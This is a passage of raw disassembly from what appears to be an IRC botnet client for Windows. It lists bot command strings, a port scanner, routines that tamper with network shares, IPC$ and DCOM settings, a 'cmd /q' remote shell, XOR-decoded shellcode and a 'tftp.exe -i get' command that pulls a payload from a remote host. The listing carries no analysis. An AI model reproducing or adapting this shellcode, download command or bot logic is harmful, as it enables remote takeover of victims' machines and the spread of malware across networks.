sub_40EE72+F81o align 10h aIrc_logout db 'irc.logout',0 ; DATA XREF: sub_40EE72+F6Co align 4 aIrc_di db 'irc.di',0 ; DATA XREF: sub_40EE72+F57o align 4 aIrc_die db 'irc.die',0 ; DATA XREF: sub_40EE72+F42o aRn db 'rn',0 ; DATA XREF: sub_40EE72+F2Do align 10h aIrc_rndnick db 'irc.rndnick',0 ; DATA XREF: sub_40EE72+F15o a63 db '63',0 ; DATA XREF: sub_40EE72+DEEo align 10h asc_438420: ; DATA XREF: sub_40EE72+DC6o unicode 0, <)>,0 aChr db '$chr(',0 ; DATA XREF: sub_40EE72+D89o align 4 aServer_1 db '$server',0 ; DATA XREF: sub_40EE72+D7Eo aRndnick db '$rndnick',0 ; DATA XREF: sub_40EE72+D6Do align 10h aChan db '$chan',0 ; DATA XREF: sub_40EE72+D51o align 4 aUser_2 db '$user',0 ; DATA XREF: sub_40EE72+D40o align 10h aMe_0 db '$me',0 ; DATA XREF: sub_40EE72+D2Eo aD db '$%d',0 ; DATA XREF: sub_40EE72+CC0o aD_0 db '$%d-',0 ; DATA XREF: sub_40EE72+C05o align 10h aC_0: ; DATA XREF: sub_40EE72+B19o unicode 0, <c>,0 dword_438464 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+AE4o dd 2BBBB02h aChatFailedByUn db ' Chat failed by unauthorized user: %s.',0 dword_4384A4 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+AD6o dd 2BBBB02h aChatAlreadyAct db ' Chat already active with user: %s.',0 align 4 dword_4384E4 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+AC8o dd 2BBBB02h aFailedToSta_29 db ' Failed to start chat thread, error: <%d>.',0 dword_438528 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+A59o dd 2BBBB02h aChatFromUserS_ db ' Chat from user: %s.',0 align 4 aChat db 'CHAT',0 ; DATA XREF: sub_40EE72+9BFo align 10h dword_438560 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+99Co dd 2BBBB02h aReceiveFileSFa db ' Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0 dword_4385B0 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+984o ; sub_40EE72+4ABCo dd 2BBBB02h aFailedToSta_30 db ' Failed to start transfer thread, error: <%d>.',0 dword_4385F8 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: sub_40EE72+973o dd 0A0Dh dword_438610 dd 4E495001h, 47h ; DATA XREF: sub_40EE72+93Fo aSHasJustVersio db '%s has just versioned me.',0 ; DATA XREF: sub_40EE72+8F9o align 4 dword_438634 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: sub_40EE72+8DCo dd 0D017325h, 0Ah dword_438650 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_40EE72+8ABo dword_43865C dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+791o dd 2BBBB02h aReceiveFileSFr db ' Receive file: ',27h,'%s',27h,' from user: %s.',0 aSend_0 db 'SEND',0 ; DATA XREF: sub_40EE72+6E8o align 10h dword_4386A0 dd 43434401h, 0 ; DATA XREF: sub_40EE72+6CAo dword_4386A8 dd 323333h ; DATA XREF: sub_40EE72+651o ; sub_40EE72+B4Fo ... dword_4386AC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5D2o dd 2BBBB02h aUserSLoggedOut db ' User: %s logged out.',0 align 4 dword_4386DC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5ABo dd 2BBBB02h aJoinedChanne_0 db ' Joined channel: %s.',0 align 4 a353 db '353',0 ; DATA XREF: sub_40EE72+574o aPart db 'PART',0 ; DATA XREF: sub_40EE72+526o ; sub_40EE72+5EFo align 4 aSS_0 db ':%s%s',0 ; DATA XREF: sub_40EE72+4FEo align 10h aNick db 'NICK',0 ; DATA XREF: sub_40EE72+3D0o align 4 aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+371o ; sub_40EE72+613o dword_438738 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+355o ; sub_40EE72+5FF2o ... dd 2BBBB02h aUserSLoggedO_0 db ' User %s logged out.',0 align 4 aKick db 'KICK',0 ; DATA XREF: sub_40EE72+2E4o align 10h aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+28Do ; sub_40EE72+4EB5o ... align 4 a433 db '433',0 ; DATA XREF: sub_40EE72+262o a@: ; DATA XREF: sub_40EE72+23Ao unicode 0, <@>,0 a302 db '302',0 ; DATA XREF: sub_40EE72+22Ao a005 db '005',0 ; DATA XREF: sub_40EE72+215o a001 db '001',0 ; DATA XREF: sub_40EE72+200o aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+1E4o ; sub_40EE72+3B7o ... align 10h aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+1C3o align 4 aPing db 'PING',0 ; DATA XREF: sub_40EE72+1A9o align 4 asc_4387B4: ; DATA XREF: sub_40EE72+19Ao ; sub_40EE72+60F9o unicode 0, <!>,0 asc_4387B8 db ' :',0 ; DATA XREF: sub_40EE72+86o ; sub_40EE72:loc_40FA19o align 4 aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_415188+120o align 4 unk_4387C8 db 2 ; DATA XREF: sub_415339:loc_4153C0o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aProcessListFai db 'Process list failed.',0 align 10h unk_438800 db 2 ; DATA XREF: sub_415339+80o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aProcessListCom db 'Process list completed.',0 unk_438838 db 2 ; DATA XREF: sub_415339+19o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aListingProcess db 'Listing processes:',0 align 4 dword_43886C dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: ___:00415667o dd 2029671Fh, 2BBBB02h aUserLoggedOutS db ' User logged out: <%s@%s>.',0 dword_4388A4 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: ___:00415640o dd 2029671Fh, 2BBBB02h aErrorSessionru db ' Error: SessionRun(): <%d>.',0 align 10h dword_4388E0 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: ___:00415620o dd 2029671Fh, 2BBBB02h aUserLoggedInS@ db ' User logged in: <%s@%s>.',0 align 4 aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: ___:004155F0o align 4 dword_43892C dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: ___:0041555Fo dd 2029671Fh, 2BBBB02h aErrorGetpeerna db ' Error: getpeername(): <%d>.',0 align 4 dword_438968 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_415683:loc_4156C8o dd 2029671Fh, 2BBBB02h aProtocolString db ' Protocol string too long.',0 dword_4389A0 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_4156DD+1Bo dd 2029671Fh, 2BBBB02h, 6F4C2020h, 206E6967h, 656A6572h dd 64657463h, 6552202Ch, 65746F6Dh, 65737520h, 3C203A72h dd 25407325h, 2E3E73h, 7A026E02h, 201F6D1Fh, 6F6C7228h dd 646E6967h, 6C1F702Eh, 2029671Fh, 2BBBB02h, 72452020h dd 3A726F72h, 72657320h, 20726576h, 6C696166h, 202C6465h dd 75746572h, 64656E72h, 253C203Ah, 2E3E64h, 7A026E02h dd 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh, 2029671Fh dd 2BBBB02h, 61462020h, 64656C69h, 206F7420h, 72617473h dd 6C632074h, 746E6569h, 72687420h, 2C646165h, 72726520h dd 203A726Fh, 3E64253Ch, 2Eh, 7A026E02h, 201F6D1Fh, 6F6C7228h dd 646E6967h, 6C1F702Eh, 2029671Fh, 2BBBB02h, 6C432020h dd 746E6569h, 6E6F6320h, 7463656Eh, 206E6F69h, 6D6F7266h dd 3A504920h, 3A732520h, 202C6425h, 76726553h, 74207265h dd 61657268h, 25203A64h, 2E64h, 7A026E02h, 201F6D1Fh, 6F6C7228h dd 646E6967h, 6C1F702Eh, 2029671Fh, 2BBBB02h, 65522020h dd 20796461h, 20646E61h, 74696177h, 20676E69h, 20726F66h dd 6F636E69h, 676E696Dh, 6E6F6320h, 7463656Eh, 736E6F69h dd 2Eh, 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh dd 2029671Fh, 2BBBB02h, 61462020h, 64656C69h, 206F7420h dd 74736E69h, 206C6C61h, 746E6F63h, 2D6C6F72h, 61682043h dd 656C646Eh, 65202C72h, 726F7272h, 253C203Ah, 2E3E64h dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh dd 2029671Fh, 2BBBB02h, 72452020h, 3A726F72h, 41535720h dd 72617453h, 28707574h, 3C203A29h, 2E3E6425h, 0 aConst db 'const',0 align 4 dd 0 dword_438BAC dd 1 ; DATA XREF: sub_415CFF+7o off_438BB0 dd offset sub_415994 ; DATA XREF: sub_415CFF+49r aLetter db 'letter',0 align 10h dd 2, 4159F2h, 706D6F63h, 2 dup(0) dd 3, 415A3Fh, 6E756F63h, 797274h, 0 dd 4, 415ADDh, 736Fh, 2 dup(0) dd 5, 415B52h dword_438C04 dd 69257325h, 0 ; DATA XREF: sub_415994+40o ; ___:00415ABEo ... byte_438C0C db 50h ; DATA XREF: ___:00415A61o ; ___:00415A6Er db 43h, 2 dup(0) dword_438C10 dd 7C7325h ; DATA XREF: ___:00415B0Co ; sub_415CFF+39o dword_438C14 dd 5D73255Bh, 7Ch ; DATA XREF: ___:00415C16o dword_438C1C dd 334B32h ; DATA XREF: ___:00415C06o dword_438C20 dd 5D64255Bh, 7325h ; DATA XREF: sub_415C5C+3Ao dword_438C28 dd 5D4D5Bh ; DATA XREF: sub_415C5C+2Co ; sub_415C5C+57o unk_438C2C db 2 ; DATA XREF: sub_415D68+92o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aIpSPortDIsOp_0 db ' IP: %s Port: %d is open.',0 db 2 db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aScanningIpSPor db ' Scanning IP: %s, Port: %d.',0 align 10h off_438CA0 dd offset dword_438CD8 ; DATA XREF: sub_415F86+1B3o ; sub_4162AA+17Ao align 8 dd offset dword_438CD0 align 10h off_438CB0 dd offset dword_438CCC ; DATA XREF: sub_4162AA+1E3o dd offset dword_438CC8 dd offset dword_438CC4 dd offset dword_438CC0 dword_438CC0 dd 5C3A44h ; DATA XREF: sub_415F86+217o ; ___:00438CBCo dword_438CC4 dd 2444h ; DATA XREF: ___:00438CB8o dword_438CC8 dd 5C3A43h ; DATA XREF: ___:00438CB4o dword_438CCC dd 2443h ; DATA XREF: ___:off_438CB0o dword_438CD0 dd 494D4441h, 244Eh ; DATA XREF: ___:00438CA8o dword_438CD8 dd 24435049h, 0 ; DATA XREF: ___:off_438CA0o unk_438CE0 db 2 ; DATA XREF: sub_415F86+2E5o ; sub_4162AA+2DBo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aNetapi32_dllCo db ' Netapi32.dll couldn',27h,'t be loaded.',0 align 10h unk_438D20 db 2 ; DATA XREF: sub_415F86+2CFo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aNetworkSharesD db ' Network shares deleted.',0 align 4 unk_438D58 db 2 ; DATA XREF: sub_415F86:loc_4161E8o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aFailedToDelete db ' Failed to delete ',27h,'%S',27h,' share.',0 align 4 unk_438D94 db 2 ; DATA XREF: sub_415F86+25Bo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aShareSDeleted_ db ' Share ',27h,'%S',27h,' deleted.',0 align 4 unk_438DC8 db 2 ; DATA XREF: sub_415F86:loc_416155o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aFailedToDele_0 db ' Failed to delete ',27h,'%s',27h,' share.',0 align 4 unk_438E04 db 2 ; DATA XREF: sub_415F86+1C8o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aShareSDelete_0 db ' Share ',27h,'%s',27h,' deleted.',0 align 4 unk_438E38 db 2 ; DATA XREF: sub_415F86:loc_4160B8o ; sub_4162AA:loc_4163D8o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aAdvapi32_dllCo db ' Advapi32.dll couldn',27h,'t be loaded.',0 align 4 unk_438E78 db 2 ; DATA XREF: sub_415F86:loc_4160B1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aFailedToOpenIp db ' Failed to open IPC$ Restriction registry key.',0 align 4 unk_438EC4 db 2 ; DATA XREF: sub_415F86:loc_416093o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aRestrictedAcce db ' Restricted access to the IPC$ Share.',0 align 4 unk_438F08 db 2 ; DATA XREF: sub_415F86+106o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aFailedToRestri db ' Failed to restrict access to the IPC$ Share.',0 align 4 aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_415F86+EDo ; sub_4162AA+EDo align 4 unk_438F68 db 2 ; DATA XREF: sub_415F86+91o ; sub_4162AA+91o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aFailedToOpenDc db ' Failed to open DCOM registry key.',0 align 4 dword_438FA8 dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h ; DATA XREF: sub_415F86:loc_415FF3o dd 2202967h, 2002BBBBh, 4F434420h, 6964204Dh, 6C626173h dd 2E6465h unk_438FD4 db 2 ; DATA XREF: sub_415F86+66o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aDisableDcomFai db ' Disable DCOM failed.',0 align 4 aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_415F86+54o ; sub_4162AA+54o align 4 word_439014 dw 4Eh ; DATA XREF: sub_415F86+38r align 4 unk_439018 db 2 ; DATA XREF: sub_4162AA+2C3o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aNetworkSharesA db ' Network shares added.',0 align 4 aC_1 db '%c:\',0 ; DATA XREF: sub_4162AA+230o align 4 aC_2 db '%c$',0 ; DATA XREF: sub_4162AA+219o unk_439058 db 2 ; DATA XREF: sub_4162AA:loc_416449o ; sub_4162AA:loc_41651Ao db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aFailedToAddSSh db ' Failed to add ',27h,'%s',27h,' share.',0 align 10h unk_439090 db 2 ; DATA XREF: sub_4162AA+198o ; sub_4162AA+269o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aShareSAdded_ db ' Share ',27h,'%s',27h,' added.',0 align 10h unk_4390C0 db 2 ; DATA XREF: sub_4162AA:loc_4163D1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aFailedToOpen_0 db ' Failed to open IPC$ restriction registry key.',0 align 4 unk_43910C db 2 ; DATA XREF: sub_4162AA:loc_4163B3o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aUnrestrictedAc db ' Unrestricted access to the IPC$ Share.',0 unk_439150 db 2 ; DATA XREF: sub_4162AA+102o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aFailedToUnrest db ' Failed to unrestrict access to the IPC$ Share.',0 dword_43919C dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h ; DATA XREF: sub_4162AA:loc_416317o dd 2202967h, 2002BBBBh, 4F434420h, 6E65204Dh, 656C6261h dd 2E64h unk_4391C8 db 2 ; DATA XREF: sub_4162AA+66o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aEnableDcomFail db ' Enable DCOM failed.',0 align 4 word_4391FC dw 59h ; DATA XREF: sub_4162AA+38r align 10h dword_439200 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_4165C4+DEo dd 2029671Fh, 2BBBB02h aWaitformultipl db ' WaitForMultipleObjects error: <%d>.',0 align 4 dword_439244 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_4165C4+59o ; sub_4165C4+8Bo dd 2029671Fh, 2BBBB02h aFailedToCrea_0 db ' Failed to create ReadShell session thread, error: <%d>.',0 align 4 dword_43929C dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_416715+AFo dd 2029671Fh, 2BBBB02h aFailedToExecut db ' Failed to execute shell.',0 align 4 dword_4392D4 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_416715+7Eo dd 2029671Fh, 2BBBB02h aFailedToCrea_1 db ' Failed to create shell stdin pipe, error: <%d>.',0 align 4 dword_439324 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_416715+5Co dd 2029671Fh, 2BBBB02h aFailedToCrea_2 db ' Failed to create shell stdout pipe, error: <%d>.',0 align 4 dword_439374 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_41680E+C3o dd 2029671Fh, 2BBBB02h aFailedToExec_0 db ' Failed to execute shell, error: <%d>.',0 aCmdQ db 'cmd /q',0 ; DATA XREF: sub_41680E+8Co align 10h dword_4393C0 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_4168E7+A1o dd 2029671Fh, 2BBBB02h aSessionreadshe db ' SessionReadShellThread exited, error: <%ld>.',0 align 4 loc_43940C: ; DATA XREF: sub_416C53+C4o jmp short loc_439410 ; --------------------------------------------------------------------------- loc_43940E: ; CODE XREF: ___:loc_439410p jmp short loc_439415 ; --------------------------------------------------------------------------- loc_439410: ; CODE XREF: ___:loc_43940Cj call loc_43940E loc_439415: ; CODE XREF: ___:loc_43940Ej pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 66h, 0B9h word_43941A dw 0FFFFh ; DATA XREF: sub_416C53+CCw db 80h, 73h, 0Eh byte_43941F db 0FFh ; DATA XREF: sub_416C53+D3w dd 0F9E243h ; --------------------------------------------------------------------------- loc_439424: ; DATA XREF: sub_416C53+A2o jmp short loc_439428 ; --------------------------------------------------------------------------- loc_439426: ; CODE XREF: ___:loc_439428p jmp short loc_43942D ; --------------------------------------------------------------------------- loc_439428: ; CODE XREF: ___:loc_439424j call loc_439426 loc_43942D: ; CODE XREF: ___:loc_439426j pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 0B1h byte_439431 db 0FFh ; DATA XREF: sub_416C53+AAw dw 7380h db 0Ch byte_439435 db 0FFh ; DATA XREF: sub_416C53+B0w dw 0E243h dd 0F9h dword_43943C dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h ; DATA XREF: sub_416ADC+57o dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dword_4394A0 dd 12h ; DATA XREF: sub_416ADC+3Dw aTftp_exeIGet db 'tftp.exe -i get ',0 ; DATA XREF: sub_416ADC+79o aJ db 'j',0 db 0E8h dword_4394B9 dd 17h ; DATA XREF: sub_416ADC+4Dw ; --------------------------------------------------------------------------- jnz short near ptr byte_4394C0 retn ; --------------------------------------------------------------------------- byte_4394C0 db 0E8h ; CODE XREF: ___:004394BDj dword_4394C1 dd 1 ; DATA XREF: sub_416ADC+45w byte_4394C5 db 0, 6Ah, 0 ; DATA XREF: sub_416ADC+C2o dd 7E8h db 0, 0Fh, 84h dword_4394CF dd 0FFFFFFEDh ; DATA XREF: sub_416ADC+5Dw ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi add esp, 54h test eax, eax retn ; --------------------------------------------------------------------------- align 10h aThreadList db '-[Thread List]-',0 aSNoSThreadFoun db '%s: No %s thread found.',0 ; DATA XREF: sub_416FE8+51o aSSStopped_DThr db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_416FE8+35o dword_439550 dd 29E2C0h ; DATA XREF: sub_417300+4w sub_41730Ar ... align 10h dword_439560 dd 173Fh ; DATA XREF: sub_417CA4+Dr dd 9875h, 9873h off_43956C dd offset sub_417D73 ; DATA XREF: ___:00419AB8r dd offset nullsub_2 dd offset nullsub_2 dword_439578 dd 1B3Fh ; DATA XREF: sub_417DEB+Dr dword_43957C dd 19930520h, 4 dup(0) ; DATA XREF: sub_41826D+2o ; sub_418276+2o off_439590 dd offset sub_419AF6 ; DATA XREF: sub_419CDA+1Cr dword_439594 dd 2 ; DATA XREF: sub_41F84C+Er ; sub_41F885+46r ... off_439598 dd offset aNull_0 ; DATA XREF: sub_419E38:loc_41A19Cr ; sub_419E38+457r ; "(null)" off_43959C dd offset aNull ; DATA XREF: sub_419E38+259r ; "(null)" off_4395A0 dd offset word_4395AA ; DATA XREF: sub_417794+23r ; sub_417794:loc_4177F5r ... off_4395A4 dd offset word_4395AA ; DATA XREF: sub_422EB1+18r db 2 dup(0) word_4395AA dw 20h ; DATA XREF: sub_42102E+18r ; ___:off_4395A0o ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_4397AC dd 1 ; DATA XREF: sub_417794:loc_41779Cr ; sub_417794:loc_4177E0r ... byte_4397B0 db 2Eh ; DATA XREF: sub_41C86F:loc_41C8AFr ; sub_41C8C9+4r ... align 4 dd 1, 10h, 0 off_4397C0 dd offset off_4397C0 ; DATA XREF: sub_41B888+Do ; sub_41B888+69o ... off_4397C4 dd offset off_4397C0 ; DATA XREF: sub_41B888:loc_41B908r ; sub_41B888+89w ... dd offset dword_4397D8 dd offset dword_4397D8 dword_4397D0 dd 0FFFFFFFFh ; DATA XREF: sub_41B888r ; sub_41B9CC:loc_41BA19w dd 0FFFFFFFFh dword_4397D8 dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF: ___:004397C8o ; ___:004397CCo off_43B7E0 dd offset off_4397C0 ; DATA XREF: sub_41B9CC+15r ; sub_41B9CC+20w ... dword_43B7E4 dd 1E0h ; DATA XREF: sub_417BC7:loc_417C03r ; sub_41944F+185r ... dword_43B7E8 dd 14h ; DATA XREF: sub_41C5B8+2o off_43B7EC dd offset aExp ; DATA XREF: sub_41C5B8:loc_41C5D5r ; "exp" dd 1Dh, 42480Ch, 1Ah, 424808h, 1Bh, 424800h, 1Fh, 4247F8h dd 13h, 4247F0h, 21h, 4247E8h, 0Eh, 4247E0h, 0Dh, 4247D8h dd 0Fh, 4247D0h, 10h, 4247C8h, 5, 4247C0h, 1Eh, 4247BCh dd 12h, 4247B8h, 20h, 4247B4h, 0Ch, 4247ACh, 